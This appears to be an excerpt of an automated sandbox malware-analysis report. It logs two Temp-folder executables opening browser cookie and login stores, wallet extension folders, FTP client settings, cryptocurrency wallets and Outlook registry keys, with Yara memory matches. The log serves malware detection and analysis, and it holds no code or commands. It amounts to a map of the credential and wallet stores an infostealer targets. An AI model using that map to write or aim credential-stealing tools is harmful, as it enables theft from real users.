Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004

Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW

Source: Yara match	File source: 0000000A.00000003.2856294797.000000000EAA8000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2649534745.0000000001572000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2631428706.0000000001572000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2684878745.0000000001572000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2667211525.0000000001572000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2695091818.0000000001579000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2631317036.0000000001572000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2695219696.0000000001580000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2650399453.0000000001576000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2650733206.0000000001572000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2650990619.0000000001576000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2650206313.0000000001572000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
